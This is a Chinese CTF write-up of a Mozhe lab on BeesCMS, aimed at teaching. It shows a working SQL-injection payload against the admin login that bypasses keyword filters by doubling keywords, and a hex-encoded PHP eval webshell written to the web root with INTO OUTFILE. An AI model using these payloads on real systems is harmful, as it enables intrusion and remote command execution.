BeesCMS系统漏洞分析溯源WP

本文出自JoCat原创作品,未经作者许可禁止转发,文章内容仅限交流学习,有问题可以联系QQ1506610991

作者博客JoCatW.github.io

背景介绍
某人搭建BeesCMS网站,邀请“墨者”安全工程师测试网站的安全性。
实训目标

1、了解BeesCMS;
2、了解此漏洞形成的原因;
3、掌握此漏洞的利用方式;

解题方向
根据网站目录,找到利用漏洞。
提示:网站位于”/var/www/html/“目录下。

链接:https://www.mozhe.cn/bug/detail/N3FvbjdsQUkza2F4b1hORGNXRVk1UT09bW96aGUmozhe
QQ截图20200419180505.png
先进入环境看看
QQ截图20200419180639.png
随便点进去一个页面
QQ截图20200419180713.png
发现有参数,尝试SQL注入,无果
QQ截图20200419180723.png
QQ截图20200419180812.png
于是御剑扫描了下目录,发现有admin目录
QQ截图20200419181041.png
QQ截图20200419181053.png
点进去测试了下弱口令,结果直接就试出来账号admin密码admin….
进入后台寻找一番,尝试上传木马,结果不行
QQ截图20200419182053.png
查了下相关漏洞,恍然大悟~
登陆界面存在SQL注入,在admin后加’测试,发现页面报错
QQ截图20200419181226.png
QQ截图20200419181239.png
那就打开BP准备上传木马~
QQ截图20200419181439.png
QQ截图20200419181544.png
经过了解,我们发现user参数存在注入,于是开始尝试注入,这里我就直接放出来最后的语句了,因为不断测试过滤语句有点冗长~
具体分析可以看这篇文章
https://www.cnblogs.com/yuzly/p/11423384.html
我们的payload如下
admin%27 un union ion selselectect 1,2,3,4, into outfile ‘/var/www/html’#
这边的写入地址在我们的题目简介里就已经给我们了
所以我们直接写入,结果发现并没有写入成功。
QQ截图20200419182402.png
经过抓包BP排查,发现php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。所以我们只需要对于我们的shell进行Hex编码。
所以最后
写入shell的payload为:admin’ uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile ‘/var/www/html’#
QQ截图20200419182626.png
成功写入~
接下来用蚁剑连上即可
QQ截图20200419182652.png
QQ截图20200419182703.png
这里经过查找发现flag在根目录
QQ截图20200419182714.png
QQ截图20200419182721.png
这样就完成啦,这题主要的思路就是要了解BeesCMS的相关漏洞,并结合题目中给的地址进行木马上传,当然这里的写入地址也可以通过在管理页面上传报错后查看出来~
喜欢的师傅们收藏下网站啦,今后会一直更新各种教程~